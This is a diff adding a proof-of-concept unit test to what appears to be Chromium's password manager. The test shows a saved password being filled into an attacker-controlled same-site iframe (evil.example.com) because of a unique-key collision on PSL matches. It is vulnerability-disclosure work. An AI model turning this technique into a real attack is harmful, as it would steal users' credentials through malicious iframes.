diff --git a/components/password_manager/core/browser/actor_login/internal/actor_login_credential_filler_unittest.cc b/components/password_manager/core/browser/actor_login/internal/actor_login_credential_filler_unittest.cc index 8188b1c12baf7..ab864a3035737 100644 --- a/components/password_manager/core/browser/actor_login/internal/actor_login_credential_filler_unittest.cc +++ b/components/password_manager/core/browser/actor_login/internal/actor_login_credential_filler_unittest.cc @@ -1170,6 +1170,135 @@ TEST_P(ActorLoginCredentialFillerTest, LoginStatusResult::kSuccessUsernameAndPasswordFilled); } +// POC: Password leaks to a sibling same-site iframe via PSL-match unique-key +// collision. +// +// Scenario: +// - Main frame at https://example.com (attacker-controlled top-level page). +// - Iframe 1 at https://login.example.com (legitimate SSO widget). Its +// FormFetcher returns the saved credential as an EXACT match. +// - Iframe 2 at https://evil.example.com (attacker-controlled). In +// production, its FormFetcherImpl queries the password store for +// evil.example.com and receives the login.example.com record as a PSL +// match. The PSL-matched record retains the ORIGINAL store fields +// (signon_realm, url, username_element, username_value, password_element) +// so its unique key is IDENTICAL to iframe 1's exact match. +// +// Because GetSigninFormManager() picks iframe 1 (no main-frame form -> +// should_skip_iframes=false), and DoesStoredCredentialBelongToManager() +// compares only AreStoredCredentialUniqueKeysEqual (which ignores match_type), +// the check passes for BOTH managers and FillField() is dispatched to BOTH +// iframes. The attacker iframe then reads its own .value +// and exfiltrates the secret. +TEST_P(ActorLoginCredentialFillerTest, + PslMatchLeaksPasswordToSiblingSameSiteIframe) { + const std::u16string kSecretPassword = u"hunter2-SECRET"; + const url::Origin origin = url::Origin::Create(GURL("https://example.com")); + main_frame_origin_ = origin; + const url::Origin legit_origin = + url::Origin::Create(GURL("https://login.example.com")); + const url::Origin attacker_origin = + url::Origin::Create(GURL("https://evil.example.com")); + + // The user-approved Credential was sourced from login.example.com (the + // user sees "Use login.example.com credential on example.com" in the UI). + const Credential credential = + CreateTestCredential(kTestUsername, legit_origin.GetURL(), origin); + + const FormData legit_form_data = CreateSigninFormData(legit_origin.GetURL()); + const FormData attacker_form_data = + CreateSigninFormData(attacker_origin.GetURL()); + + // Iframe 1's FormFetcher: exact match for login.example.com. + FakeFormFetcher legit_fetcher; + PasswordForm exact_match = + CreateSavedPasswordForm(legit_origin.GetURL(), kTestUsername, + kSecretPassword); + exact_match.match_type = PasswordForm::MatchType::kExact; + legit_fetcher.SetBestMatches({exact_match}); + + // Iframe 2's FormFetcher: this models what the REAL FormFetcherImpl returns + // in production for evil.example.com. The store record for + // login.example.com is returned as a PSL match with all unique-key fields + // (signon_realm/url/username_element/username_value/password_element) left + // UNCHANGED -- only match_type is set to kPSL. + FakeFormFetcher attacker_fetcher; + PasswordForm psl_match = + CreateSavedPasswordForm(legit_origin.GetURL(), kTestUsername, + kSecretPassword); + psl_match.match_type = PasswordForm::MatchType::kPSL; + attacker_fetcher.SetBestMatches({psl_match}); + + // Two sibling iframe form managers, both direct children of the main frame. + std::vector> form_managers; + testing::NiceMock legit_driver; + testing::NiceMock attacker_driver; + form_managers.push_back(CreateFormManagerWithParsedForm( + legit_origin, legit_form_data, legit_driver, legit_fetcher)); + form_managers.push_back(CreateFormManagerWithParsedForm( + attacker_origin, attacker_form_data, attacker_driver, attacker_fetcher)); + + const PasswordForm* legit_parsed = form_managers[0]->GetParsedObservedForm(); + const PasswordForm* attacker_parsed = + form_managers[1]->GetParsedObservedForm(); + + base::test::TestFuture future; + ActorLoginCredentialFiller filler( + origin, credential, should_store_permission(), &mock_client_, + mqls_logger(), base::TimeTicks::Now(), mock_is_task_in_focus_.Get(), + future.GetCallback()); + + ON_CALL(mock_form_cache_, GetFormManagers) + .WillByDefault(Return(base::span(form_managers))); + + // Both iframes are direct, non-fenced children of the primary main frame + // with visible login forms (the attacker iframe honestly renders one). + for (auto* d : {&legit_driver, &attacker_driver}) { + ON_CALL(*d, IsNestedWithinFencedFrame).WillByDefault(Return(false)); + ON_CALL(*d, IsDirectChildOfPrimaryMainFrame).WillByDefault(Return(true)); + ON_CALL(*d, CheckViewAreaVisible) + .WillByDefault(WithArg<1>(&PostResponse)); + } + + // Expected (intended) behaviour: only the legitimate iframe is filled. + EXPECT_CALL(legit_driver, + FillField(legit_parsed->username_element_renderer_id, + Eq(kTestUsername), _, _)) + .WillOnce(RunOnceCallback<3>(true)); + EXPECT_CALL(legit_driver, + FillField(legit_parsed->password_element_renderer_id, + Eq(kSecretPassword), _, _)) + .WillOnce(RunOnceCallback<3>(true)); + + // *** THE LEAK *** + // The attacker iframe's driver receives FillField() with the secret + // password. In production this is a Mojo IPC to the attacker's renderer, + // which then reads input.value and exfiltrates it. A correct + // implementation must NEVER call FillField on the attacker driver, so this + // expectation existing at all demonstrates the vulnerability. + std::u16string leaked_password; + EXPECT_CALL(attacker_driver, + FillField(attacker_parsed->username_element_renderer_id, + Eq(kTestUsername), _, _)) + .WillOnce(RunOnceCallback<3>(true)); + EXPECT_CALL(attacker_driver, + FillField(attacker_parsed->password_element_renderer_id, _, _, _)) + .WillOnce(DoAll(testing::SaveArg<1>(&leaked_password), + RunOnceCallback<3>(true))); + + filler.AttemptLogin(&mock_password_manager_); + const LoginStatusResultOrError& result = future.Get(); + ASSERT_TRUE(result.has_value()); + EXPECT_EQ(result.value(), + LoginStatusResult::kSuccessUsernameAndPasswordFilled); + + // Proof of disclosure: the attacker iframe received the cleartext password. + EXPECT_EQ(kSecretPassword, leaked_password) + << "Password was sent via FillField IPC to attacker-controlled iframe " + "at " + << attacker_origin.Serialize(); +} + TEST_P(ActorLoginCredentialFillerTest, FillUsernameAndPasswordInAllEligibleFieldsPreferMainframe) { const url::Origin origin = url::Origin::Create(GURL("https://example.com"));